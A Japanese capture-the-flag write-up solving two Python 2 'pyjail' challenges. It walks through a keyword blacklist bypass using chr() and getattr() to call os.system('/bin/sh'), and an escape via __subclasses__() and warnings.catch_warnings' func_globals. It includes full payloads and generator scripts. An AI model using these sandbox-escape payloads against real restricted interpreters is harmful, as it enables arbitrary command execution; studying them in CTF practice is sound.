お断り

問題としては2つ解きましたが、関連しているので1つの記事にしました。

TL;DR

genericpyjail

  • Python2系のPyjail問題で、入力文字列に対するブラックリストがある
  • 当然のように有用な関数はそのまま使えないが、locals()は使えるのでそこから__builtins__を使い、import os; os.system()で任意コード実行へ持っていく
  • なおブラックリストはPythonの文字列として送り込むならchr()を使って回避出来るのでgetattr()等を使って文字列として扱う形でコードを実行するようにする

genericpyjail2

  • Python2系のPyjail問題でgenericpyjailの続き
  • 今度は入力文字列に対するブラックリストが無い(おそらく)代わりに__builtins__から有用な関数が削除されている
  • というわけでタプルのような通常のオブジェクトから__class__.__base__.__subclasses__()を利用して基底クラスであるObjectの子クラスを漁り、使えそうなものを探す
  • 様々なpyjail問題のWriteupを読んで見つけた<class 'warnings.catch_warnings'>のコンストラクタからfunc_globals["linecache"].os.systemを実行する

Prerequisite

  • PyJail(locals()globalsから__builtins__を使う)
  • PyJail(Objectまで辿ってその子クラスから使えるものを探す)

Writeup (genericpyjail)

blacklist.txtという入力に使えない文字列一覧が書かれたリストが配られる。また、解き直しの為に問題スクリプトは回収して動かしたが、実際は配られていないらしい。ブラックリストは次の通り。

import
ast
eval
=
pickle
os
subprocess
i love blacklisting words!
input
sys
windows users
print
execfile
hungrybox
builtins
open
most of these are in here just to confuse you
_
dict
[
>
<
:
;
]
exec
hah almost forgot that one
for
@
dir
yah have fun
file

問題サーバーに接続すると次のような出力が得られる。

wow! there's a file called flag.txt right here!
>>>

flag.txtというファイルを開けばフラグが得られそうである。また、>>> に続く形でPythonコードを入力するとexec()か何かで実行してくれるらしい。

普通にprint(open("flag.txt").read())してもブラックリストに引っかかって出力出来ない、というわけで別のところからこいつらを引っ張ってくる必要がある。

常套手段として__builtins__から引っ張ってくることが考えられる。ブラックリストにlocals()は無いのでlocals()["__builtins__"].<function>で引っ張ってくる。

ところがブラックリストのせいで角括弧は使えないしそもそも_builtinsも使えない。加えて.<function>の部分に入れたい関数(print, __import__等)はだいたいブラックリストで阻まれる。

前者の解決としては辞書に対するget()メソッドを用いる。また、実行した時に文字列である"__builtins__"が構成されれば良いのでchr()を使って生成する。

後者の解決としてはgetattr()を用いる。これの第二引数は文字列なのでchr()を使う方法や、"os""o"+"s""o""s"のように分裂させて引数に指定することでブラックリストを回避出来る。

こうして最終的に出来上がったペイロードがこちら。

getattr(getattr(locals().get(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))("o""s"),"sy""stem")("/bin/sh")

ある程度わかりやすい形にすると次のようになる。

getattr(getattr(locals().get("__builtins__"),"__import__")("os"), "system")("/bin/sh")

Writeup (genericpyjail2)

genericpyjailの続きで今度はブラックリストは与えられない代わりにopenのような関数が使えない。__builtins__自体は生きているのでひとまずgetattrを利用してprint(locals())を実行してみると次のようになる。

getattr(locals()["__builtins__"],"print")(locals())
now it's  getattr(locals()["__builtins__"],"print")(locals()) !
{'gone': ['open', 'file', 'execfile', 'compile', 'reload', '__import__', 'eval', 'input'], 'e': SyntaxError('invalid syntax', ('<string>', 1, 32, 'x=locals()["__builtins__"].print(3)\n')), '__builtins__': <module '__builtin__' (built-in)>, '__file__': 'jail2.py', '__package__': None, 'func': 'input', 'x': 'getattr(locals()["__builtins__"],"print")(locals())', '__name__': '__main__', '__doc__': None}

あくまで推測だが、goneに入れた関数がどれも使えなくなっているようである(解いた後でソースを確認したらdel __builtins__.__dict__[<gone_function>]で破壊されていた)。流石にopen()__import__も使えない状態で__builtins__からファイルを読み込んだり、任意コード実行をするのは無理があるので策を練る必要がある。

こういう時の常套手段はObjectを基底クラスに持つオブジェクトのメソッドや要素から使えるものを探すことになる。ひとまずObjectに辿り着くには().__class__.__base__で出来、子クラスの列挙には__subclasses__()メソッドを使えば良い。

Python 2.7.18 (default, Mar  8 2021, 13:02:45) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> ().__class__.__base__
<type 'object'>
>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> 

ここから使えるものを探す。とりあえず2通りの解法を思いついたのでそれぞれ示しておく。

fileを使う

列挙したサブクラスを眺めていると<type 'file'>が見つかる。help()fileを覗いてみると次のようになっているので、第一引数にファイル名を指定すればopen("<filename>")と等価なことが出来そうである。

class file(object)
 |  file(name[, mode[, buffering]]) -> file object

というわけで最終的なペイロードは次のようになった。

getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[40]("flag.txt").read())

warning.catch_warningsからos.systemを呼び、シェルを召喚する

上記のfileを用いる手法はファイル名が最初に開示されて判明しているから使えるが、もしファイル名を知らない場合は何かしらの方法で知る必要がある。手っ取り早いのはシェルを召喚することなのでこれを目標とする。

これは自分で考えたわけではなく、色々なpyjailのWriteup(但しこの問題のものは見ていない)や資料を眺めて試行錯誤した結果だが、どうも<class 'warnings.catch_warnings'>から要素を辿っていくことでos.system()が実行出来るようである。

具体的にはgetattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[59].__init__.func_globals)をすると値に関数が来るような辞書が得られるが、何故か鍵に存在していない"linecache"を指定するとosモジュールへの参照が得られ、ここからsystemを実行出来る。

(正直他のWriteupでも「これを使うと出来る」みたいな書き方がされているので何が起きているのかはよくわからない、モヤモヤするので分かる方居たら教えてください)

最終的なペイロードは次のようになった。

getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[59].__init__.func_globals["linecache"].os.system("/bin/sh"))

Code

genericpyjailのペイロード構築

def to_chr_func_seq(s):
    ret = ""
    for c in s:
        ret = ret + f"chr({ord(c)})+"

    return ret[:-1]

cmd = "cat flag.txt"

payload = f"""
getattr(getattr(locals().get({to_chr_func_seq("__builtins__")}),{to_chr_func_seq("__import__")})("o""s"),"sy""stem")("{cmd}")
""".strip()

"""
getattr(getattr(locals().get(chr(95)+chr(95)+chr(98)+chr(117)+chr(105)+chr(108)+chr(116)+chr(105)+chr(110)+chr(115)+chr(95)+chr(95)),chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95))("o""s"),"sy""stem")("ls")
"""

print(payload)

print("================= result and debug =================")
res = eval(payload)
print(res)

genericpyjail2のペイロード構築

chr()を使う文字列の構築がいらないので、添字しか指定しないこのペイロード構築コードは実はあんまり役に経ってない

import sys

def to_chr_func_seq(s):
    ret = ""
    for c in s:
        ret = ret + f"chr({ord(c)})+"

    return ret[:-1]

idx = 40  # <type 'file'>
payload = f"""
getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[{idx}]("flag.txt").read())
""".strip()

idx = 59  # <class 'warnings.catch_warnings'>

payload = f"""
getattr(locals()["__builtins__"],"print")(().__class__.__base__.__subclasses__()[{idx}].__init__.func_globals["linecache"].os.system("/bin/sh"))
""".strip()

print(payload)

if len(sys.argv) > 1 and sys.argv[1] == "-d":
    print("================= result and debug =================")
    res = eval(payload)
    print(res)

Other Solution (genericpyjail)

help()して適当な関数のヘルプを表示させるとlessで開くので!/bin/shするだけ

Flag

どちらもローカルでシェル取っただけ

Resources